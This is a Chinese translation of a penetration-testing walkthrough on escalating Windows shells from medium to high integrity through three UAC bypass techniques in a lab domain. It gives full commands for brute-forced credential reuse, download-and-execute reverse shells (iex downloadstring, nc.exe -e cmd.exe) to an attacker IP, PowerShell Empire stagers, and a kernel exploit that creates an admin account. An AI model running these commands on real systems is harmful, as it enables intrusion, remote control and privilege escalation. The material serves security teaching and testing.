Windows 提权-UAC 绕过

本文通过 Google 翻译 UAC-Bypass – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将主要介绍在两种不同的应用情况中(其中场景一和场景二归为一种情况),使用三种不同的 UAC 绕过技术,将中完整性 shell 提升到高完整性 shell。

注:低/中/高完整性 shell 之间的区别,以图形化界面用户启动 cmd.exe 程序为例,普通用户直接启动就算作低完整性 shell 吧,管理员组的用户直接启动为中完整性 shell,管理员组的用户右键“以管理员身份运行”启动为高完整性 shell

似乎只有管理员组的账户才有这种在身份不变的情况下 shell 权限能由中转高完整性的说法,而以普通用户和系统用户得到的 shell 一般就已经是其自身身份的完整权限了,不过具有 SeBackupPrivilege 特权的普通域用户好像例外,如此例

在第一种情况下,我们以普通域用户的身份在 Windows 10 机器上获得了一个立足点。在漏洞利用后枚举阶段,我们发现了系统中存储着本地管理员用户凭据,然后我们利用存储的凭据以该管理员用户的身份获得一个中完整性的 shell。最后,我们通过两种不同的 UAC 绕过方式,最终将中完整性 shell 提升到了高完整性 shell。

在第二种情况下,我们在漏洞利用后枚举阶段发现了一个内核漏洞,然后利用该漏洞创建了一个本地管理员账户。从那里,我们获得了一个中完整性的反向 shell,最后,我们使用第三种 UAC 绕过技术成功将其提升到高完整性 shell。

用户帐户控制(UAC)是一项安全功能,旨在防止对 Windows 计算机进行未经授权的更改。UAC 可确保任何管理级别的更改只能在管理员批准后才能进行。

理解 UAC 最简单的方法就是,将其看作是类似于在 Linux 机器上使用 sudo 命令。使用 sudo 命令时,你必须知道 root 密码才能以 root 权限执行命令。UAC 也是一样,右键单击要运行的程序并选择 "以管理员身份运行 "后,系统会提示你输入管理员密码。

大家都熟悉 UAC 弹出框,但是,让我们再看下。

如果您是普通用户,并且尝试以管理员身份运行程序,您将看到以下请求管理员账户密码的窗口:

Windows 提权-UAC 绕过

Windows 提权-UAC 绕过

接着,我们会得到以下提示,并需要与之交互,然后才能以提升的权限运行程序。

Windows 提权-UAC 绕过

1、场景一:枚举得到存储的管理员凭证(GUI 环境)

假设我们对 Windows 10 主机进行了初步枚举,发现 21 端口是开放的,并托管着一个 FTP 服务器。这个FTP 服务器不允许匿名登录,但是,枚举 SMB 共享后发现用户名 efrost。有了用户名我们使用 Hydra 对 FTP 服务进行了暴力破解,结果成功找到了 FTP 用户的密码 Coldheart1234。

FTP 上没有感兴趣的文件,但由于我们找到了一组有效的凭证,因此我们决定尽可能地测试它们。

密码重用是一个非常常见的问题。当你找到一组凭证时,请尽可能地测试 用户/密码 组合。此外,请尽可能针对您所列举的所有账户测试您找到的任何密码。

从最开始的扫描中,我们发现受害者的 445 端口和 3389 端口是打开的。因此,我们首先使用 Impacket 套件中的 psexec.py 工具测试了我们对 SMB 服务的访问。

psexec.py juggernaut.local/efrost:Coldheart1234@172.16.1.100 

Windows 提权-UAC 绕过

只要用户能够写入 ADMIN$ 共享,我们便能得到一个 SYSTEM shell。【注:只要能够通过 psexec.py 成功连接,那么得到的便是 SYSTEM shell。】

注:使用 psexec.py 须注意事项:

  1. 服务端 445 端口必须能通信且共享文件夹 ADMIN(/C)/IPC$ 必须都是共享状态(默认情况下都是开启的)。
  2. 如果目标是工作组,则必须使用本地 administrator 用户连接,使用本地其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝。[命令:impacket-psexec administrator@1.1.1.1impacket-psexec 111/administrator@1.1.1.1效果是一样,只要administrator 的密码是正确的就行。]
  3. 如果目标(该目标包含普通域主机和域控)已加域,则可以使用域账户和本地账户两种方式进行连接。(1)使用本地账户的方式连接则只能使用本地 administrator 账户连接;[命令如上](2)使用域账户的方式连接则只能用域管理员组中的账户连接,其它域账户均不能连接,即便是在普通域主机上。[命令:impacket-psexec sky/admin@1.1.1.1impacket-psexec sky.com/admin@1.1.1.1这两种格式均可 ]【注意:网上有说 windows 版 psexec.exe 能够以普通域用户连接普通域主机,但我使用 impacket-psexec.py 的测试结果是不可行。我的测试环境是:win10+win server 2012 R2】

由于不是管理员用户,因此 psexec.py 连接失败。接着我们使用 rdp_check.py 测试这个域账户是否能够通过 RDP 访问,它也来自 Impacket 工具套件,结果发现我们能够通过 RDP 连接到此主机!

rdp_check.py juggernaut.local/efrost:Coldheart1234@172.16.1.100 

Windows 提权-UAC 绕过

在发现我们拥有 RDP 访问权限后,我们使用一个名为 xfreerdp 的工具来获取受害者的 GUI 会话。

sudo xfreerdp /u:efrost /p:Coldheart1234 /d:juggernaut.local /v:172.16.1.100 +clipboard 

Windows 提权-UAC 绕过

至此,我们以普通域用户(juggernaut.localefrost)在受害者机器上站稳了脚跟。接着,我们继续手动枚举,使用以下命令我们发现用户 cmarko 的密码存储在这台机器上。

cmdkey /list 

Windows 提权-UAC 绕过

在枚举过程中,我们还发现该用户是此计算机上的本地管理员。

Windows 提权-UAC 绕过

由于我们已经找到了存储的凭证,因此我们可以使用 runas 命令以 cmarko 用户的身份生成一个 shell,如下所示:

runas.exe /savecred /env /noprofile /user:juggernaut.localcmarko cmd 

这将以管理员用户 cmarko 的身份生成一个 shell,但当我们检查权限时,发现这是一个中完整性 shell。同时,在尝试读取管理员文件夹中的文件时,我们也被拒绝访问。

注:只有高完整性 shell 才能够访问 administrator 的家目录,这其实也是判断高完整性 shell 的一种方式。

Windows 提权-UAC 绕过

由于我们没有 cmarko 用户的密码,因此我们不能简单地右键单击 cmd.exe 然后单击“以管理员身份运行”,那么我们如何才能获得高完整性 shell 呢?– 就是通过执行 UAC 绕过实现。

1.1、使用 netplwiz.exe 帮助主题绕过 UAC

实际上,您可以使用相当多的二进制文件来执行类似的 UAC 绕过技术;但是,在此示例中,我们将重点介绍 netplwiz.exe 程序。

滥用内置二进制文件的最大好处是,你可以 "靠山吃山",而不用在受害者机器上安装其它工具。此外,由于这些都是内置的二进制文件,因此这些技术也可以绕过杀毒软件的阻碍。

netplwiz.exe 用于将用户成员资格更改为 Standard 用户、Administrator、Guest 或任何其它什么。但是,它的主要功能在这里并不是真正重要的,我们更感兴趣的是它的非预期功能可以被拿来滥用。

首先,在中完整性 shell 中运行 netplwiz.exe 程序。然后,选择“Advanced”选项卡,并在“Advanced user management”部分中选择“Advanced”选项,

为了展示该技术可以绕过杀毒,我将在启用 Defender 实时保护的情况下演示这一点。

Windows 提权-UAC 绕过

将打开本地用户和组的界面,从该框中选择 Help > Help Topics

Windows 提权-UAC 绕过

右键单击 MMC 框并选择 View Source — 这将打开源代码的记事本 TXT 文档。

Windows 提权-UAC 绕过

在打开的记事本编辑器中,选择 File > Open

Windows 提权-UAC 绕过

导航到 C:WindowsSystem32,然后将文件类型更改为 All Files

Windows 提权-UAC 绕过

向下滚动以找到 cmd.exe,然后右键单击 cmd.exe >选择“以管理员身份运行”

Windows 提权-UAC 绕过

瞧!此时将显示高完整性 shell 的提示!

Windows 提权-UAC 绕过

Windows 提权-UAC 绕过

同样的技术也可以用来以管理员身份运行 taskmgr.exe,而不是 cmd.exe,然后对 LSASS 进程执行内存转储。如需了解关于转储 LSASS 进程的各种技术,可以在此处查看我的相关文章。

2、场景二:枚举得到存储的管理员凭证(CLI 环境)

在本例中,我们假设在找到用户 efrost 的凭据后,检查 RDP 访问权限时显示访问被拒绝。因此,我们只能利用其它方式,设法以用户 efrost 的身份获得反向 shell。然后再次执行 cmdkey /list 命令,结果发现机器上存储着本地管理员用户 cmarko 的凭据。

Windows 提权-UAC 绕过

接下来,我们不能再像之前那样通过 runas.exe 来创建新的 cmd.exe 了,因为在 shell 环境下无法弹出新的 cmd.exe 窗口,所以这回我们得用 runas 以用户 cmarko 的身份创建一个反向 shell。而要完成这个操作,我们会用 runas 去执行一个 IEX 命令,这个命令能把来自 Nishang 脚本集合里一个叫 Invoke-PowerShellTcp.ps1 的 PowerShell 脚本直接在内存中执行。

将脚本复制到您的工作目录中,然后将以下命令附加到脚本底部:

将 IP 地址替换为攻击者电脑的 IP。

Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443 

然后在脚本所在目录启动 HTTP 服务器。

Windows 提权-UAC 绕过

通常我会在自己的 exploits 文件夹中保留此脚本的多个副本,这些副本文件内容唯一的不同便是文件底部命令中的端口值不同。然后,我将端口号附加到每个副本的名称中。

接下来,我们需要在攻击者计算机上启动一个 netcat 监听器,以通过端口 443 捕获 shell。设置完毕后,我们可以使用 runas 运行以下命令,以获取反向 shell :

runas.exe /savecred /user:juggernaut.localcmarko "powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp.ps1')" 

Windows 提权-UAC 绕过

不出意外,我们获得的是一个中完整性 shell 。但是,这次我们没有 GUI 来使用内置的二进制技巧。因此,我们将利用一个名为 PowerShell Empire 的后渗透框架来绕过我们的 UAC。

2.1、使用 Empire 内置模块绕过 UAC

PowerShell Empire 后渗透框架中的 UAC 绕过模块只是 Empire 内置的众多令人难以置信的模块之一。

Empire 实现了无需 powershell.exe 即可运行 PowerShell 的能力,从键盘记录器到 Mimikatz 以及用于逃避网络检测的自适应通信,所有这些模块都被包含在一个以可用性为中心的框架之中。

将 Empire 仓库克隆到攻击者机器上后,您需要在两个命令窗口中分别执行以下命令才能启动 Empire,因为它需要服务器和客户端。

powershell-empire server powershell-empire client 

接下来,您将在 Empire 客户端的窗口看到主菜单,正如你所看到的,在撰写本文时已有 394 个模块。

Windows 提权-UAC 绕过

我们不会与 Empire 服务端选项卡交互,只与 Empire 客户端选项卡交互。

首先,我们将新建一个监听器,以便当我们在目标机器上执行 launcher.bat(stager)时,我们将返回一个 agent。

我们可以键入 help 来获取选项列表。

Windows 提权-UAC 绕过

在这里,我们看到 uselisteners 命令,我们将使用它来创建监听器。现在,通过键入 uselisteners 后跟一个空格,就可以看到所有可用的监听器类型。

Windows 提权-UAC 绕过

有很多很棒的东西,像 meterpreter 和 onedrive 之类的,但这里我们将使用 http 监听器。完成该命令后,按下回车键,此时您就会看到一个(Empire: uselistener/http)> 的提示符号。然后,通过使用 options 命令,我们能够看到这个监听器的可配置选项。我们得保证 Host 和 Port 都已设定好。

Windows 提权-UAC 绕过

要设置 Host 或 Port 的新值,请使用 set 命令。例如:set Port 1337

现在我们已经设置了所有必需的选项,可以使用 execute 命令来启动监听器了。

Windows 提权-UAC 绕过

有了这样的设置,当我们键入 listeners 命令时,就能看到监听器已按我们想要的方式设置好,并已运行。

Windows 提权-UAC 绕过

接下来,我们需要构建我们的启动器(stager),这样就可以在受害者机器上运行它,以获得反向 shell。输入 usestager,然后输入空格,我们就可以看到所有可用的不同类型的启动器。OSX 和 Windows 下有许多的类型可以选择,但我们最感兴趣的是 launcher.bat

Windows 提权-UAC 绕过

完成命令并按 Enter,您将看到有关这个 stager 启动器的所有参数信息,以及一个新的提示:(Empire: usestager/windows/launcher_bat) >

Windows 提权-UAC 绕过

从参数信息中,可以看到我们需要为这个 stager 启动器设置 Listener。使用命令 set Listener http ,我们的 stager 就可以使用了。接下来,只需使用命令 execute,它将为我们创建 launcher.bat 文件。

Windows 提权-UAC 绕过

然后在另一个命令窗口中,将 launcher.bat 文件移动到您的工作目录并启动 HTTP 服务器,以便我们可以将其下载到受害者机器上。

Windows 提权-UAC 绕过

由于我们的中完整性 shell 仍然以 cmarko 打开,所以就使用它来下载 launcher.bat 并执行它。

Windows 提权-UAC 绕过

执行 launcher.bat 后,提示符挂起并重新回到我们的 Empire 客户端上,我们可以看到新代理签入。然后,通过使用 agents 命令,我们可以看到有关签入的代理的更多信息。

执行 launcher.bat 之后,我们回到 Empire 客户端,可以看到一个新的 agent 连接已建立。然后,通过使用 agents 命令,我们可以看到关于 agent 的更多信息。

Windows 提权-UAC 绕过

在这里,我们可以使用 rename 命令将 agent 重命名为更易于区分的名称。这在您有相当多的 agent 时,尤其有用。

重命名 agent 后,我们可以再次使用 agents 命令来确认名称更改已成功完成。之后,我们可以使用 interact 命令与 agent 进行交互。

Windows 提权-UAC 绕过

在这里,我们可以利用 Empire 后渗透模块的所有功能,这些模块有很多!不过,在本例中,我们将重点关注 bypassuac 模块。

让我们继续键入 bypassuac,后跟一个 tab,它应该会自动填充 bypassuac http,这是我们监听器的名称。在这里,我们看到 Empire 尝试运行默认模块 powershell/privesc/bypassuac_eventviewer 。我们看到任务已启动,但一分钟后我们没有看到任何事情发生。

Windows 提权-UAC 绕过

但是,有多个模块可用于绕过 UAC。要获取完整列表,我们需要使用 usemodule 命令,后跟 powershell/privesc/bypassuac ,如下所示:

Windows 提权-UAC 绕过

在这个列表中,第一个和第三个是相同的,因为这是 UAC 绕过的一种非常常见的技术。不过,我对最后一个模块 powershell/privesc/bypassuac_fodhelper 更感兴趣,因为根据我的经验,这似乎是最有效的模块。

当我使用 Empire 绕过 UAC 时,我通常会先尝试 bypassuac_fodhelper,如果这不起作用,我将从上到下逐一尝试。

选择 fodhelper 模块并按 Enter 键后,我们会看到有关该模块的更多信息,可以看到我们需要设置 Listener。

Windows 提权-UAC 绕过

现在,我们需要使用命令 set Listener http,接着执行 execute,然后等待查看是否有新的 agent 产生。

在这里,我们看到漏洞利用有效果,然后再次使用 agents 命令,可以看到一个新的 agent,其名称旁边有一个星号(*)。这意味着这是一个高完整性 shell 的会话!

Windows 提权-UAC 绕过

最后,我们重命名此 agent。然后,我们可以使用 interact 命令与下一个 agent 进行交互。

Windows 提权-UAC 绕过

现在,我们可以在高完整性 shell 中以 cmarko 的身份执行命令,然后输入要执行的命令。

很多时候,当我使用 Empire 并执行命令时,它似乎暂停并挂起了。但实际上,只需键入 Interact,然后再次键入 Agent 名字,即可显示命令的结果。

Empire 的 shell 体验并不是最好的,所以我们要使用 shell 命令来执行另一个 Nishang PowerShell 的反向 TCP 脚本,如下所示:

shell "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp21.ps1')" 

由于 Empire HTTP 监听器使用的是 443 端口,因此我使用了 Invoke-PowerShellTcp 的另一个副本,将 21 端口作为反向 shell 的连接端口。在执行上述命令之前,我又在攻击机器上的 21 端口启动了 netcat 监听器,并在存放此脚本的目录中启动了 HTTP 服务器。

执行命令后,我们在监听器窗口得到了一个新的 shell。

Windows 提权-UAC 绕过

我们不仅获得了一个 shell,还获得了一个高完整性 shell,其中列出了我们的所有权限!

Windows 提权-UAC 绕过

这样,我们成功的绕过了 UAC,该过程完全不需要使用图形用户界面,也不需要知道管理员用户 cmarko 的密码!

另一个可能需要使用 UAC 绕过的示例是,当您使用 BeEF 挂接本地管理员的浏览器,然后使用浏览器漏洞获取 shell。这几乎总是会导致低完整性 shell(甚至不是中等)。如果用户位于本地管理员组中,则必须先升级到中等完整性 shell,然后才能使用 UAC 绕过来获取高完整性 shell。

3、场景三:利用内核漏洞创建管理员凭据(CLI 环境)

在本例中,我们以标准用户的身份站稳了脚跟,在枚举过程中,我们发现受害者的 Windows 版本不是最新的。

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Network Card(s)" /C:"Hotfix(s)" 

Windows 提权-UAC 绕过

看到“Build 17134”就意味着按照在维基百科上找到的这张图表所示,这是 Windows 10 的 1803 版本。

Windows 提权-UAC 绕过

知道这是 Windows 10 的旧版本后,我们在攻击者的机器上通过 searchsploit 找到了这个确切版本的内核漏洞。

searchsploit windows 10 1803 

Windows 提权-UAC 绕过

我们将漏洞利用镜像到我们的工作目录中,然后查看它的作用。

searchsploit -m 47684 

阅读该说明文件,我们可以将要使用的漏洞利用程序是一个 EXE 类型,其能够以 SYSTEM 的身份执行命令。

Windows 提权-UAC 绕过

这是该 EXE 漏洞利用程序的仓库连接

将文件下载到攻击者机器上后,我们将其发送给受害者,并使用它来创建一个本地管理员用户。

Windows 提权-UAC 绕过

我发现,在没有自定义命令的情况下,直接执行漏洞利用程序是可以创建管理员用户,但提示的密码 RibSt3ak69 并不起作用!

由于密码不起作用,我们需要再次使用 COMahawk64.exe 来更改密码!

.COMahawk64.exe "net user tomahawk password" 

有了可用的密码,我们现在就可以使用 PowerShell 版本的 runas 以我们新创建的本地管理员用户身份获取反向 shell。不过,我们需要将 nc.exe 下载到受害者机器上,这样就可以在 PowerShell runas 命令中使用它将反向 shell 推送到攻击者机器上。

将 nc.exe 下载到受害者后,我们需要在攻击者机器上的端口 53 上启动监听器。接下来,我们将使用以下 4 个命令创建 3 个变量(用户名、密码和主机名),然后将这些变量传递到 nc.exe 命令中,以管理员用户身份获取 shell。

$secpasswd = ConvertTo-SecureString "password" -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential ("tomahawk", $secpasswd) $computer = "JUGG-efrost" [System.Diagnostics.Process]::Start("C:tempnc.exe","172.16.1.30 53 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer) 

Windows 提权-UAC 绕过

回到监听器,我们看到获得了一个中完整性 shell。

Windows 提权-UAC 绕过

Windows 提权-UAC 绕过

由于此 shell 的完整性不高,因此我们需要再次执行 UAC 绕过以提升我们的管理员权限。

3.1、使用 Elev-Function.ps1 脚本绕过 UAC

在这最后一个示例中,我们将使用名为 Elev-Function.ps1 的 PowerShell 脚本,这是一个 UACME 版本的 ps1 脚本,可在此处获得。

将此脚本复制到您的工作目录中,以便可以从我们的 HTTP 服务器将其提供给受害者。

根据我使用此脚本的经验,要使其工作的唯一方法就是在脚本底部添加要执行的命令。

由于我们系统上已经有了 netcat,因此我们可以在脚本底部添加以下命令:

Bypass-UAC "C:tempnc.exe 172.16.1.30 443 -e cmd.exe" 

我还将脚本的名称重命名为 Bypass-UAC.ps1,并编辑此脚本,将脚本中 cmd.exe 字串更改为 powershell.exe。这不是脚本工作所必需的,但需要提及一下该脚本是可以这样改动的。

Windows 提权-UAC 绕过

接下来,我们将脚本下载到受害者机器上。

Windows 提权-UAC 绕过

现在,受害者机器上已经拥有了 nc.exe 和 Bypass-UAC.ps1,同时,我们还需要在攻击者计算机的端口 443 上启动 netcat 监听器。

一切就绪后,接下来我们将在当前会话中加载 Bypass-UAC.ps1。

powershell.exe -ep bypass -c ".Bypass-UAC.ps1" 

使用 powershell.exe -ep bypass -c 来执行脚本允许我们绕过 powershell.exe 的默认执行策略,该策略默认处于打开状态,目的是不允许将外部脚本加载到当前会话中。

加载脚本后,我们会立即看到命令被执行,并创建注册表 hive,从而获得提升的 shell。

Windows 提权-UAC 绕过

回到监听器,我们看到获得了一个高完整性 shell,它的身份是本地管理员用户 tomahawk。

Windows 提权-UAC 绕过

发表评论

评论已关闭。

相关文章